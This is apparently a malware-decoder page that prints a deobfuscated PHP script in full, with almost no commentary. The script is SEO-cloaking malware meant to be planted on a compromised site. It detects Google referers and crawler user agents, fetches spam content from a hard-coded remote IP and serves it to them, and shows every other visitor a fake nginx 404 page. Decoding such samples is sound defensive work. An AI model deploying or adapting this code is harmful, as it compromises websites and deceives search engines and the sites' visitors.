Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto AtM2f; xrt4v: date_default_timezone_set("PRC"); goto KWZFY; w2aK4: function OIrgo() { goto mROGB; tjqW3: $G5mhE = explode("#", $IEV5U, 2); goto ZR7Yi; mROGB: $IEV5U = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto CmV4R; oug9a: if (function_exists("mb_convert_encoding")) { goto WUI17; } goto CIxW5; ZR7Yi: return str_ireplace("index.php?404;", '', $G5mhE[0]); goto tu6qB; UIujf: $IEV5U = mb_convert_encoding($IEV5U, "UTF-8", "GBK"); goto XdXQZ; XdXQZ: Rh6aO: goto MbXyq; CmV4R: if (!(isset($_SERVER["SERVER_SOFTWARE"]) && false !== stristr($_SERVER["SERVER_SOFTWARE"], "IIS"))) { goto Zk3QX; } goto oug9a; d253r: WUI17: goto UIujf; psGm5: goto Rh6aO; goto d253r; CIxW5: $IEV5U = @iconv("GBK", "UTF-8", @iconv("UTF-8", "GBK", $IEV5U)) == $IEV5U ? $IEV5U : @iconv("GBK", "UTF-8", $IEV5U); goto psGm5; MbXyq: Zk3QX: goto tjqW3; tu6qB: } goto whPNT; KUP2C: header("HTTP/1.0 4O4 Not Found"); goto QdTOk; WsBz9: exit; goto XmAh8; t3CY0: rWOh0: goto KUP2C; QdTOk: echo "<html>
<head><title>4O4 Not Found</title></head>
<body bgcolor='white'>\xa<center><h1>4O4 Not Found</h1></center>
<hr><center>nginx</center>\xa</body>\xa</html>"; goto ghyhR; whPNT: function VwyuF($FKz1L) { goto nRaua; V2fTM: curl_setopt($sOMum, CURLOPT_FOLLOWLOCATION, true); goto IAxlW; lURGn: $G3N8O = array("User-Agent: " . (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "unknown"), "X-Forwarded-For: " . $yrGVH, "X-Real-IP: " . $yrGVH); goto cqCoW; nRaua: $sOMum = curl_init(); goto nsJRz; fU4s_: curl_setopt($sOMum, CURLOPT_RETURNTRANSFER, true); goto V2fTM; cqCoW: curl_setopt($sOMum, CURLOPT_HTTPHEADER, $G3N8O); goto NNNhB; NNNhB: curl_setopt($sOMum, CURLOPT_VERBOSE, true); goto bKtWP; bKtWP: curl_setopt($sOMum, CURLINFO_HEADER_OUT, true); goto SsgYh; nsJRz: curl_setopt($sOMum, CURLOPT_URL, $FKz1L); goto fU4s_; mR6QO: curl_close($sOMum); goto z5KMe; U64jQ: return "Curl error: " . curl_error($sOMum); goto PlMzK; SsgYh: $cYRfa = curl_exec($sOMum); goto jCJj3; IAxlW: $yrGVH = NyyOn(); goto lURGn; PlMzK: BVeTj: goto mR6QO; jCJj3: if (!curl_errno($sOMum)) { goto BVeTj; } goto U64jQ; z5KMe: return $cYRfa; goto KlQcU; KlQcU: } goto rqiHL; B8ygV: JIcdI: goto tdmpi; XmAh8: mrMJI: goto t3CY0; yWskQ: if (!(OiRGO() != "/")) { goto rWOh0; } goto BylmT; LGo4m: $YOA1m = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https://" : "http://"; goto pwad_; KWZFY: $Lkj7I = "http://7.1.212.38/index.php?url="; goto yWskQ; x3AUw: set_time_limit(0); goto xrt4v; AQlCr: function sPske() { $OQxTM = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; return preg_match("/.*(google.com).*/i", $OQxTM); } goto w2aK4; IhdR8: echo $U3qHU; goto ZNE5g; GAgbx: $U3qHU = vWyUf($Lkj7I . "tiaole"); goto IhdR8; pwad_: $U3qHU = vwYUF($Lkj7I . str_replace("?", "-", $_SERVER["REQUEST_URI"]) . "&url2=" . $YOA1m . $_SERVER["HTTP_HOST"] . str_replace("?", "-", $_SERVER["REQUEST_URI"])); goto czAgm; ghyhR: exit; goto Urhmy; BylmT: if (!SPsKE()) { goto JIcdI; } goto GAgbx; ZNE5g: exit; goto B8ygV; Urhmy: function RCvWQ() { $Oz64f = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; return preg_match("/google/i", $Oz64f); } goto AQlCr; czAgm: echo $U3qHU; goto WsBz9; AtM2f: error_reporting(0); goto x3AUw; tdmpi: if (!rcvwQ()) { goto mrMJI; } goto LGo4m; rqiHL: function nyYon() { goto yWU75; wvOQd: return "Unknown"; goto wr0Rw; wr0Rw: goto eMlqD; goto c5fNR; yWU75: if (!empty($_SERVER["HTTP_X_REAL_IP"])) { goto Nk4Jv; } goto MnMSE; Nkq5P: NYZ5S: goto gN3zQ; qYWdB: eMlqD: goto JMcP6; xUCWL: return $_SERVER["HTTP_X_REAL_IP"]; goto NevCU; aqttH: if (!empty($_SERVER["REMOTE_ADDR"])) { goto NYZ5S; } goto wvOQd; gN3zQ: return $_SERVER["REMOTE_ADDR"]; goto qYWdB; NevCU: goto eMlqD; goto KBHFO; Xpx0H: goto eMlqD; goto Nkq5P; c5fNR: Nk4Jv: goto xUCWL; g0mS3: return $_SERVER["HTTP_X_FORWARDED_FOR"]; goto Xpx0H; MnMSE: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto fsZJH; } goto aqttH; KBHFO: fsZJH: goto g0mS3; JMcP6: }



© 2023 Quttera Ltd. All rights reserved.